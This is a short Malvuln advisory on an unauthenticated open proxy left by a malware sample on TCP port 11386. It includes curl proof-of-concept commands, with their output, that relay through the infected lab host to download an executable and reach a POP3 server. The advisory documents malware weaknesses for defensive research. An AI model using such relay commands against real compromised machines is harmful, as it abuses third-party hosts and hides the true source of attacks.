Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e312385f64e6b8fd667b4f9b5ea1ff70.txt
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 11386. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Vuln ID: MVID-2021-0366
curl -x http://192.168.18.125:11386 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 6144 0 0:00:04 0:00:04 --:--:-- 5957
curl -x http://192.168.18.125:11386 http://192.168.18.128:110
+OK INetSim POP3 Server ready <13953.1633903739@pop3host>
-ERR Unknown command.
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